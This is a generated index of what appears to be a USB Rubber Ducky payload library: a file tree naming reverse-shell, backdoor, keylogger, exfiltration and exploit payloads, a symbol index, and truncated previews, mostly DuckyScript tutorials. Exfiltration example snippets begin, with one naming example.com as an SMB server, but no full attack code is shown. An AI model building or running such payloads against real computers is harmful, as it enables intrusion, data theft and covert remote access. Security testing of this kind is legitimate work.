│ │ └── readme.md
│ ├── Open4Gmail/
│ │ └── payload.txt
│ ├── Piano_Player/
│ │ ├── README.md
│ │ ├── examples/
│ │ │ ├── game_of_thrones_notes.txt
│ │ │ ├── game_of_thrones_payload.txt
│ │ │ ├── super_mario_notes.txt
│ │ │ └── super_mario_payload.txt
│ │ └── piano_player.py
│ ├── The-Perfect-Stealthy-Payload/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Water-UnMark/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── placeholder
│ ├── duckin8or/
│ │ └── payload.txt
│ └── onemillioncheckboxes_checker/
│ └── payload.txt
├── incident_response/
│ ├── -RD-ET-Phone-Home/
│ │ ├── ET-Phone-Home.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Auto-Check_Cisco_IOS_XE_Backdoor_based_on_CVE-2023-20198_and_CVE-2023-20273/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.sh
│ ├── Defend_yourself_against_CVE-2023-36884_Office_and_Windows_HTML_R/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Defend_yourself_from_CVE-2023-23397/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Exploit_Citrix_NetScaler_ADC_and_Gateway_through_CVE-2023-4966/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.sh
│ ├── GoodUSB/
│ │ └── payload.txt
│ └── placeholder
├── mobile/
│ ├── Android/
│ │ ├── Android_HID_BruteForceCode/
│ │ │ ├── BruteForce4.txt
│ │ │ ├── BruteForce4Backspace.txt
│ │ │ └── readme.md
│ │ ├── Android_HID_Forward-Email/
│ │ │ ├── Payload_Gmail.txt
│ │ │ ├── Payload_Samsung.txt
│ │ │ └── readme.md
│ │ ├── Browse-to-URL-Example/
│ │ │ └── payload.txt
│ │ └── WhatsappMessageSender/
│ │ └── payload.txt
│ ├── iOS/
│ │ ├── Open_Link/
│ │ │ ├── README.md
│ │ │ └── payload.txt
│ │ ├── RickRoll_Apple/
│ │ │ ├── ReadMe.md
│ │ │ └── payload.txt
│ │ └── placeholder
│ └── placeholder
├── prank/
│ ├── -RD-ADV-RickRoll/
│ │ ├── ADV-RickRoll.txt
│ │ └── ReadMe.md
│ ├── -RD-AcidBurn/
│ │ ├── AcidBurn.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── -RD-JumpScare/
│ │ ├── JumpScare.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── -RD-JumpScare-2.0/
│ │ ├── JumpScare2.0.txt
│ │ └── ReadMe.md
│ ├── -RD-PS-Draw/
│ │ ├── Images/
│ │ │ └── images
│ │ ├── PS-Custom-Draw.ps1
│ │ ├── PS-Draw.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── -RD-Rage-PopUps/
│ │ ├── README.md
│ │ ├── Rage-PopUps.ps1
│ │ └── payload.txt
│ ├── -RD-Wallpaper-Troll/
│ │ ├── README.md
│ │ ├── Wallpaper-Troll.ps1
│ │ └── payload.txt
│ ├── -RD-We-Found-You/
│ │ ├── README.md
│ │ ├── found-you.ps1
│ │ └── payload.txt
│ ├── -RD-YT-Tripwire/
│ │ ├── ReadMe.md
│ │ └── YouTube-TripWire.txt
│ ├── AUTOinCORRECT/
│ │ └── payload.txt
│ ├── A_Cagey_Takeover/
│ │ └── payload.txt
│ ├── Alien Message From Computer/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.py
│ ├── AllOperatingSystemRickroll/
│ │ └── all
│ ├── Always-Minimize/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Automailer/
│ │ └── payload.txt
│ ├── Change Wallpaper With Screenshot/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.py
│ ├── ChangeDesktopWallpaper_LinuxKDE/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Change_The_App_That_Will_Be_Runned/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Continuos Print In Terminal/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.py
│ ├── Deshellerator/
│ │ └── payload.txt
│ ├── Digital_Rain/
│ │ └── payload.txt
│ ├── EternalLock/
│ │ └── payload.txt
│ ├── Full-ScreenBannerJoke/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.py
│ ├── HTML_Fork-Bomb/
│ │ ├── payload-ie.txt
│ │ └── payload.txt
│ ├── Hacker_Typer/
│ │ └── payload.txt
│ ├── Horsd/
│ │ ├── README.md
│ │ ├── horsd.ps1
│ │ └── payload.txt
│ ├── MacOS-Remap-Dvorak/
│ │ └── payload.txt
│ ├── MacTalk/
│ │ └── mactalk.txt
│ ├── MaxVolumeRickroll_Windows/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Multi_HID_HeyGotAnyGrapes/
│ │ ├── payload.txt
│ │ └── readme.md
│ ├── NoMoreIcons/
│ │ └── payload.txt
│ ├── PUBLIC-SERVICE-ANNOUNCEMENT/
│ │ ├── PSA.txt
│ │ └── a_friendly_psa.txt
│ ├── Physical_Rick_Roll/
│ │ └── payload.txt
│ ├── PlayASongThroughSpotify_Windows/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Prank_In_The_Middle_Thunderbird/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ProcessTerminator/
│ │ └── payload.txt
│ ├── QuacKed_Again/
│ │ └── payload.txt
│ ├── Quack_Rolled/
│ │ └── payload.txt
│ ├── RanFunWare/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── r.ps1
│ ├── Resolution_Prank/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── RickRoll_ASCII/
│ │ ├── ReadMe.md
│ │ └── payload.txt
│ ├── RickUpdater/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Rick_Rolling_Forever/
│ │ └── payload.txt
│ ├── Rickroll+BSOD/
│ │ └── payload.dd
│ ├── Same_File_Name_Prank/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── SendMessagesInTeams/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── SendSignalMessages/
│ │ └── payload.txt
│ ├── SendTelegramMessages_Linux/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Set_VSCode_theme_light/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── SoundChangeDuck/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Talking_Duck/
│ │ └── payload.txt
│ ├── TerminalRickRoll/
│ │ ├── QuackTUX.txt
│ │ ├── QuackTUXmean.txt
│ │ └── README.md
│ ├── The_Matrix-Wake_Up/
│ │ ├── ReadMe.md
│ │ └── payload.txt
│ ├── The_Mouse_Moves_By_Itself/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.py
│ ├── This_damn_shell_doesn_t_work___so_sad!/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Try_To_Catch_Me/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.py
│ ├── USBScream/
│ │ └── Payload.txt
│ ├── Win_PoSH_DesktopDuck/
│ │ ├── DesktopDuck.ps1
│ │ ├── payload.txt
│ │ └── readme.md
│ ├── WindowS_PoP_uP/
│ │ └── WindowS_PoP_uP
│ ├── YouHaveBeenQuacked2.0/
│ │ └── payload.txt
│ ├── cApS-Troll/
│ │ ├── README.md
│ │ ├── a.ps1
│ │ └── payload.txt
│ ├── lol_killer/
│ │ └── payload.txt
│ ├── macOS_rickroll/
│ │ └── payload.txt
│ ├── mr-robot_eXit/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── prank_files/
│ │ ├── assets/
│ │ │ ├── css/
│ │ │ │ ├── banner.css
│ │ │ │ ├── global.css
│ │ │ │ ├── issue.css
│ │ │ │ ├── off.css
│ │ │ │ └── prompt.css
│ │ │ └── js/
│ │ │ ├── constants.js
│ │ │ ├── functions/
│ │ │ │ ├── off.js
│ │ │ │ ├── sleep.js
│ │ │ │ └── stage.js
│ │ │ ├── main.js
│ │ │ └── variables.js
│ │ └── index.html
│ ├── placeholder
│ ├── ratlocker/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── rat3ncrypt3r.bat
│ ├── rickroll/
│ │ └── payload.txt
│ ├── silent_rickroll/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── the_f_bomb/
│ │ └── payload.txt
│ └── windows_repair/
│ └── payload.txt
├── recon/
│ ├── Drop_Zip_Execute/
│ │ └── payload.txt
│ ├── Tree_of_Knowledge/
│ │ ├── -RD-ADV-Recon/
│ │ │ ├── ADV-Recon.ps1
│ │ │ ├── README.md
│ │ │ └── payload.txt
│ │ ├── payload.txt
│ │ ├── readme.md
│ │ └── show.bat
│ └── x-frame-options_scanner/
│ ├── README.md
│ ├── payload.txt
│ └── recon_files/
│ ├── assets/
│ │ ├── css/
│ │ │ └── style.css
│ │ └── js/
│ │ ├── constants.js
│ │ ├── functions/
│ │ │ ├── recon.js
│ │ │ ├── sleep.js
│ │ │ └── targets.js
│ │ └── main.js
│ └── index.html
└── remote_access/
├── EnableSSH-Android/
│ └── payload.txt
├── Hidden_access/
│ └── payload.txt
├── NSHELL/
│ └── Payload.txt.txt
├── Netcat-Reverseshell-On-Log-In/
│ └── payload.txt
├── PingZhellDucky/
│ ├── PingZhellDucky.pl
│ ├── README.md
│ └── payload.txt
├── RegDoor/
│ └── payload.txt
├── ReverseDucky/
│ └── ReverseDucky.txt
├── ReverseDuckyII/
│ └── ReverseDuckyII.txt
├── ReverseDuckyIII/
│ └── payload.txt
├── ReverseDuckyPolymorph/
│ ├── README.md
│ └── payload.txt
├── ReverseDuckyUltimate/
│ ├── README.md
│ └── payload.txt
├── VillainShellviaNGROKTunnel/
│ ├── README.MD
│ └── payload.txt
├── duckNet/
│ ├── Encoder/
│ │ ├── .classpath
│ │ ├── .project
│ │ ├── .settings/
│ │ │ └── org.eclipse.jdt.core.prefs
│ │ ├── README
│ │ ├── encoder.jar
│ │ ├── resources/
│ │ │ ├── be.properties
│ │ │ ├── br.properties
│ │ │ ├── ca.properties
│ │ │ ├── ch.properties
│ │ │ ├── de.properties
│ │ │ ├── dk.properties
│ │ │ ├── es.properties
│ │ │ ├── fi.properties
│ │ │ ├── fr.properties
│ │ │ ├── gb.properties
│ │ │ ├── hr.properties
│ │ │ ├── it.properties
│ │ │ ├── keyboard.properties
│ │ │ ├── no.properties
│ │ │ ├── pt.properties
│ │ │ ├── ru.properties
│ │ │ ├── si.properties
│ │ │ ├── sv.properties
│ │ │ ├── tr.properties
│ │ │ └── us.properties
│ │ └── src/
│ │ ├── Encoder.java
│ │ └── Encoder_GUI.java
│ ├── README.md
│ ├── duckNetManager
│ ├── install.sh
│ └── payload
├── persistentReverseDucky/
│ ├── README.md
│ └── payload.txt
├── win_smb-backdoor/
│ ├── README.md
│ └── payload.txt
└── win_winrm-backdoor/
├── README.md
└── payload.txt
SYMBOL INDEX (51 symbols across 16 files)
FILE: payloads/library/execution/Install_And_Run_Any_Arbitrary_Executable-No_Internet_And_Root_Needed/assets/convert_to_hex.py
function convert_to_hex (line 3) | def convert_to_hex(filename, output_file):
FILE: payloads/library/execution/Persistent_Keylogger-Telegram_Based/connection.py
class Log (line 10) | class Log:
method __init__ (line 11) | def __init__(self):
method add_to_log (line 18) | def add_to_log(self, log):
method send_log (line 24) | def send_log(self):
class Keylogger (line 34) | class Keylogger(Thread):
method __init__ (line 36) | def __init__(self, log):
method callback (line 40) | def callback(self, event):
method run (line 55) | def run(self):
class Sender (line 58) | class Sender(Thread):
method __init__ (line 60) | def __init__(self, log):
method run (line 64) | def run(self):
FILE: payloads/library/execution/Persistent_Reverse_Shell-Telegram_Based/connection.py
function reverse_shell (line 15) | def reverse_shell(message):
function extract_command (line 28) | def extract_command(message):
function run_command (line 35) | def run_command(command):
FILE: payloads/library/execution/Telegram_Persistent_Connection_Linux/connection.py
function send_welcome (line 8) | def send_welcome(message):
FILE: payloads/library/general/Piano_Player/piano_player.py
function parse_args (line 8) | def parse_args():
function generate_keymap (line 16) | def generate_keymap(maps: str) -> dict:
function notes_to_code (line 24) | def notes_to_code(roll: list, keymap: dict, tick: int, url: str, press_m...
FILE: payloads/library/prank/Try_To_Catch_Me/script.py
function install_package (line 10) | def install_package(package):
class Popup (line 34) | class Popup:
method __init__ (line 36) | def __init__(self, master):
method close_popup (line 71) | def close_popup(self):
FILE: payloads/library/prank/mr-robot_eXit/prank_files/assets/js/constants.js
constant SCREEN (line 1) | const SCREEN = document.querySelector('#screen');
constant BANNER (line 3) | const BANNER = document.querySelector('#banner');
constant ISSUE (line 5) | const ISSUE = document.querySelector('#issue');
constant HINT (line 7) | const HINT = (new URLSearchParams(document.location.search).get('hint'));
constant PROMPT (line 9) | const PROMPT = document.querySelector('#prompt');
constant LEVELS (line 11) | const LEVELS = [
constant OFF (line 73) | const OFF = document.querySelector('#off');
FILE: payloads/library/prank/mr-robot_eXit/prank_files/assets/js/functions/off.js
function off (line 1) | async function off() {
FILE: payloads/library/prank/mr-robot_eXit/prank_files/assets/js/functions/sleep.js
function sleep (line 1) | async function sleep(ms) {
FILE: payloads/library/prank/mr-robot_eXit/prank_files/assets/js/functions/stage.js
function stage (line 1) | function stage(level, iterator) {
FILE: payloads/library/recon/x-frame-options_scanner/recon_files/assets/js/constants.js
constant LAN (line 1) | const LAN = (new URLSearchParams(document.location.search).get('lan'));
constant OUTPUT (line 2) | const OUTPUT = document.querySelector('#output');
FILE: payloads/library/recon/x-frame-options_scanner/recon_files/assets/js/functions/recon.js
function recon (line 1) | async function recon(scheme, port) {
FILE: payloads/library/recon/x-frame-options_scanner/recon_files/assets/js/functions/sleep.js
function sleep (line 1) | function sleep() {
FILE: payloads/library/recon/x-frame-options_scanner/recon_files/assets/js/functions/targets.js
function targets (line 1) | function targets() {
FILE: payloads/library/remote_access/duckNet/Encoder/src/Encoder.java
class Encoder (line 30) | public class Encoder {
method main (line 38) | public static void main(String[] args) {
method loadProperties (line 140) | private static void loadProperties (String lang){
method encodeToFile (line 178) | private static void encodeToFile(String inStr, String fileDest) {
method addBytes (line 416) | private static void addBytes(List<Byte> file, byte[] byteTab){
method charToBytes (line 424) | private static byte[] charToBytes (char c){
method charToCode (line 427) | private static String charToCode (char c){
method codeToBytes (line 439) | private static byte[] codeToBytes (String str){
method strToByte (line 462) | private static byte strToByte(String str) {
method strInstrToByte (line 470) | private static byte strInstrToByte(String instruction){
FILE: payloads/library/remote_access/duckNet/Encoder/src/Encoder_GUI.java
class Encoder_GUI (line 8) | public class Encoder_GUI{
method createAndShowGUI (line 10) | private static void createAndShowGUI() {
method main (line 47) | public static void main(String[] args) {
Condensed preview — 682 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (1,792K chars).
[
{
"path": ".github/ISSUE_TEMPLATE/config.yaml",
"chars": 171,
"preview": "blank_issues_enabled: false\n contact_links:\n - name: Need help?\n url: https://hak5.org/discord\n about: Fee"
},
{
"path": ".github/ISSUE_TEMPLATE/payload_bug.yaml",
"chars": 4769,
"preview": "name: Payload Bug\ndescription: Report an issue to help improve payloads provided within this project. \ntitle: \"[Payload"
},
{
"path": ".gitignore",
"chars": 18,
"preview": "# MacOS\n.DS_Store\n"
},
{
"path": "CONTRIBUTING.md",
"chars": 5477,
"preview": "### Exported from README.md\n\n<h1><a href='https://payloadhub.com'>Contributing</a></h1>\n\n<p align=\"center\">\n<a href=\"htt"
},
{
"path": "README.md",
"chars": 22298,
"preview": "# Payload Library for the [USB Rubber Ducky](https://hak5.org/products/usb-rubber-ducky?variant=39874478932081) by [Hak5"
},
{
"path": "languages/be.json",
"chars": 4137,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/br.json",
"chars": 4138,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/ca-fr.json",
"chars": 4379,
"preview": "{\r\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\r\n \"__comment\":\" \",\r\n \"__comment\":\"This"
},
{
"path": "languages/ca.json",
"chars": 4138,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/ch.json",
"chars": 6280,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/cz.json",
"chars": 4259,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/de.json",
"chars": 4405,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/de_mac.json",
"chars": 3352,
"preview": "{\n \"0\": \"00,00,27\",\n \"1\": \"00,00,1e\",\n \"2\": \"00,00,1f\",\n \"3\": \"00,00,20\",\n \"4\": \"00,00,21\",\n \"5\": \"00,00,22\",\n \"6"
},
{
"path": "languages/dk.json",
"chars": 4119,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/es-la.json",
"chars": 4271,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/es.json",
"chars": 4138,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/fi.json",
"chars": 4138,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/fr.json",
"chars": 4138,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/gb.json",
"chars": 4787,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/hr.json",
"chars": 4138,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/hu.json",
"chars": 4533,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/it.json",
"chars": 4139,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/jp.json",
"chars": 5472,
"preview": "{\n \"__comment\": \"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\": \" \",\n \"__comment\": \"This"
},
{
"path": "languages/mx.json",
"chars": 4298,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/no.json",
"chars": 4138,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/pt.json",
"chars": 4138,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/se.json",
"chars": 4138,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/si.json",
"chars": 4138,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/sk.json",
"chars": 4267,
"preview": "{\n \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\":\" \",\n \"__comment\":\"This li"
},
{
"path": "languages/tr.json",
"chars": 5501,
"preview": "{\n \"__comment\": \"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\": \" \",\n \"__comment\": \"This"
},
{
"path": "languages/us.json",
"chars": 3799,
"preview": "{\n \"__comment\": \"All numbers here are in hex format and 0x is ignored.\",\n \"__comment\": \" \",\n \"__comment\": \"This li"
},
{
"path": "payloads/examples/ATTACKMODE/ATTACKMODE-example1.txt",
"chars": 982,
"preview": "REM The ATTACKMODE command may be used multiple times throughout a payload.\rREM Changing the attack mode will cause the "
},
{
"path": "payloads/examples/ATTACKMODE/ATTACKMODE-example2.txt",
"chars": 1154,
"preview": "REM Within a payload the ATTACKMODE command may be executed multiple times.\rREM In some situations it can be useful to \""
},
{
"path": "payloads/examples/Button/Button-example1.txt",
"chars": 433,
"preview": "REM WAIT_FOR_BUTTON_PRESS halts payload execution until a button press is detected.\rREM When this command is reached in "
},
{
"path": "payloads/examples/Button/Button-example2.txt",
"chars": 215,
"preview": "STRING Press the button 3 times...\rWAIT_FOR_BUTTON_PRESS\rSTRING 1...\rWAIT_FOR_BUTTON_PRESS\rSTRING 2...\rWAIT_FOR_BUTTON_P"
},
{
"path": "payloads/examples/Button/Button-example3.txt",
"chars": 380,
"preview": "LED_R\rREM First Stage Payload Code...\rREM Wait for operator to assess target \rREM before executing second stage.\rWAIT_FO"
},
{
"path": "payloads/examples/Button/Button-example4.txt",
"chars": 959,
"preview": "REM BUTTON_DEF defines a function which will execute when the button is pressed anytime within the payload so long as th"
},
{
"path": "payloads/examples/Button/Button-example5.txt",
"chars": 341,
"preview": "BUTTON_DEF\n WHILE TRUE\n LED_R\n DELAY 1000\n LED_OFF\n DELAY 1000\n END_WHILE\nEND_BUTTON\n\nSTRING Press the button at a"
},
{
"path": "payloads/examples/Button/Button-example6.txt",
"chars": 713,
"preview": "BUTTON_DEF\n REM This is the first button definition\n STRINGLN The button was pressed once!\n BUTTON_DEF\n REM This s"
},
{
"path": "payloads/examples/Button/Button-example7.txt",
"chars": 404,
"preview": "REM The DISABLE_BUTTON command prevents the button from calling the BUTTON_DEF. \n\nBUTTON_DEF\n STRING This will never ex"
},
{
"path": "payloads/examples/Button/Button-example8.txt",
"chars": 94,
"preview": "ATTACKMODE OFF\nLED_OFF\nDISABLE_BUTTON\n\nREM The USB Rubber Ducky will be effectively disabled.\n"
},
{
"path": "payloads/examples/Button/Button-example9.txt",
"chars": 878,
"preview": "REM The ENABLE_BUTTON command allows pressing the button to call the BUTTON_DEF. \r\rBUTTON_DEF\r STRINGLN The button was "
},
{
"path": "payloads/examples/Conditions/Conditions-example1.txt",
"chars": 884,
"preview": "REM The flow control statement IF will determine whether or not to execute its block of code based on the evaluation of "
},
{
"path": "payloads/examples/Conditions/Conditions-example2.txt",
"chars": 804,
"preview": "REM The ELSE statement is an optional component of the IF statement which will only execute when the IF statement condit"
},
{
"path": "payloads/examples/Conditions/Conditions-example3.txt",
"chars": 804,
"preview": "REM A nested IF statement is quite simply an IF statement placed inside another IF statement. Nested IF statements may b"
},
{
"path": "payloads/examples/Conditions/Conditions-example4.txt",
"chars": 611,
"preview": "REM In some cases it may be more efficient to use logical operators within a single IF statement, rather than using a ne"
},
{
"path": "payloads/examples/Conditions/Conditions-example5.txt",
"chars": 888,
"preview": "REM The syntax of IF states that in nearly all cases the expression should be surrounded by parenthesis ( ) — however th"
},
{
"path": "payloads/examples/Conditions/Conditions-example6.txt",
"chars": 264,
"preview": "REM Example of optimized IF statement \rREM with internal variable\r\rIF $_CAPSLOCK_ON THEN\r STRINGLN The caps lock key "
},
{
"path": "payloads/examples/Example_Payloads/konami_cave.txt",
"chars": 6143,
"preview": "REM Boots as STORAGE, starts a game of cave in a text editor after konami code \nREM COMPATABILITY: \nREM DuckyScript 3.0\n"
},
{
"path": "payloads/examples/Example_Payloads/payload_menu.txt",
"chars": 2043,
"preview": "REM Example Injection/Text Based Payload selection\nREM COMPATABILITY: \nREM DuckyScript 3.0\n\nREM TARGET:\nREM Any host tha"
},
{
"path": "payloads/examples/Exfiltration/Exfiltration-example1.txt",
"chars": 806,
"preview": "REM Example Simple USB Exfiltration Technique for Windows\nATTACKMODE HID STORAGE\nDELAY 2000\nGUI r\nDELAY 100\nSTRING power"
},
{
"path": "payloads/examples/Exfiltration/Exfiltration-example2.txt",
"chars": 485,
"preview": "REM Example Simple SMB Exfiltration Method for Windows\nATTACKMODE HID\nDELAY 2000\nDEFINE SMB_SERVER example.com\nDEFINE SM"
},
{
"path": "payloads/examples/Exfiltration/Exfiltration-example3.txt",
"chars": 3238,
"preview": "REM Example Simple Keystroke Reflection Attack for Windows\rREM Saves currently connected wireless LAN profile to DUCKY\rA"
},
{
"path": "payloads/examples/Exfiltration/Exfiltration-example4.txt",
"chars": 208,
"preview": "REM Example variable exfiltration\r\rVAR $FOO = 1337\rEXFIL $FOO\r\r\rREM The binary contents of the variable $FOO will be wri"
},
{
"path": "payloads/examples/Functions/Functions-example1.txt",
"chars": 693,
"preview": "REM Example Function\nVAR $TIMER = 3\nFUNCTION COUNTDOWN()\n WHILE ($TIMER > 0)\n STRING .\n $TIMER = ($TIME"
},
{
"path": "payloads/examples/Functions/Functions-example2.txt",
"chars": 946,
"preview": "REM Example FUNCTION with RETURN\nATTACKMODE HID\nDELAY 2000\n\nBUTTON_DEF\n STRING !\nEND_BUTTON\n\nFUNCTION TEST_BUTTON()\n "
},
{
"path": "payloads/examples/Holding Keys/Holding-Keys-example1.txt",
"chars": 925,
"preview": "REM Example HOLD and RELEASE\rREM Target: Windows\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rREM Open Powershell\rGUI r\rDELAY 100"
},
{
"path": "payloads/examples/Holding Keys/Holding-Keys-example2.txt",
"chars": 166,
"preview": "REM Example modifier key hold\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rINJECT_MOD\rHOLD CONTROL\rDELAY 4000\rRELEASE CONTROL\r\r\rR"
},
{
"path": "payloads/examples/Holding Keys/Holding-Keys-example3.txt",
"chars": 565,
"preview": "REM Example holding multiple keys\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rSTRING iddqd\rDELAY 500\r\rWHILE TRUE\r STRING idkf"
},
{
"path": "payloads/examples/Jitter/Jitter-example1.txt",
"chars": 247,
"preview": "REM Example Jitter\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\r$_JITTER_ENABLED = TRUE\rWHILE TRUE\r STRINGLN The quick brown f"
},
{
"path": "payloads/examples/Jitter/Jitter-example2.txt",
"chars": 345,
"preview": "REM Example Jitter with increasing $_JITTER_MAX\rATTACKMODE HID STORAGE\rDELAY 2000\r\r$_JITTER_ENABLED = TRUE\rWHILE TRUE\r "
},
{
"path": "payloads/examples/LED/LED-example1.txt",
"chars": 400,
"preview": "REM The LED_R command will enable the red LED.\r\rREM To show only a red LED disable any default LED behavior (such as sto"
},
{
"path": "payloads/examples/LED/LED-example2.txt",
"chars": 357,
"preview": "REM The LED_G command will enable the green LED.\r\rATTACKMODE HID STORAGE\rBUTTON_DEF\r LED_OFF\r STOP_PAYLOAD\rEND_BUTTON\r"
},
{
"path": "payloads/examples/LED/LED-example3.txt",
"chars": 180,
"preview": "ATTACKMODE HID STORAGE\rWHILE TRUE\r LED_R\r WAIT_FOR_BUTTON_PRESS\r LED_G\r WAIT_FOR_BUTTON_PRESS\rEND_WHILE\r\r\rREM The LE"
},
{
"path": "payloads/examples/Lock Keys/Lock-Keys-example1.txt",
"chars": 239,
"preview": "ATTACKMODE HID STORAGE\rLED_OFF\rDELAY 2000\rWHILE TRUE\r LED_R\r WAIT_FOR_CAPS_CHANGE\r LED_G\r WAIT_FOR_CAPS_CHAN"
},
{
"path": "payloads/examples/Lock Keys/Lock-Keys-example2.txt",
"chars": 939,
"preview": "REM Example SAVE and RESTORE of of the Keyboard Lock State\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rSAVE_HOST_KEYBOARD_LOCK_S"
},
{
"path": "payloads/examples/Lock Keys/Lock-Keys-example3.txt",
"chars": 575,
"preview": "REM Example Blink green if LED states are reported, \rREM otherwise blink red.\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rFUNCTI"
},
{
"path": "payloads/examples/Lock Keys/Lock-Keys-example4.txt",
"chars": 304,
"preview": "REM Example ONLY CAPS FOR YOU (Evil Prank)\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rWHILE TRUE\r IF ($_CAPSLOCK_ON == FALSE"
},
{
"path": "payloads/examples/Loops/Loops-example1.txt",
"chars": 892,
"preview": "REM Example while loop - blink LED 42 times\r\rVAR $FOO = 42\rWHILE ( $FOO > 0 )\r LED_G\r DELAY 500\r LED_OFF\r DE"
},
{
"path": "payloads/examples/Loops/Loops-example2.txt",
"chars": 546,
"preview": "REM Example while loop - press the button 5 times\r\rVAR $FOO = 5\r\rWHILE ( $FOO > 0 )\r STRINGLN Press the button...\r "
},
{
"path": "payloads/examples/Loops/Loops-example3.txt",
"chars": 570,
"preview": "REM Example Infinite Loop\rBUTTON_DEF\r WHILE TRUE\r LED_R\r DELAY 500\r LED_OFF\r DELAY 500\r "
},
{
"path": "payloads/examples/Operators/Operators-example1.txt",
"chars": 731,
"preview": "REM Assign $FOO to 42\rVAR $FOO = 42\r\rREM The variable is now 42. \rREM Let’s add it by 1.\r$FOO = ( $FOO + 1 )\r\rREM The va"
},
{
"path": "payloads/examples/Operators/Operators-example2.txt",
"chars": 662,
"preview": "REM The order of operations (order precedence) are a set of rules that define which procedures are performed first in or"
},
{
"path": "payloads/examples/Operators/Operators-example3.txt",
"chars": 433,
"preview": "REM Bitwise operators are operators which operate on the uint16 values at the binary level.\r\rATTACKMODE HID STORAGE VID_"
},
{
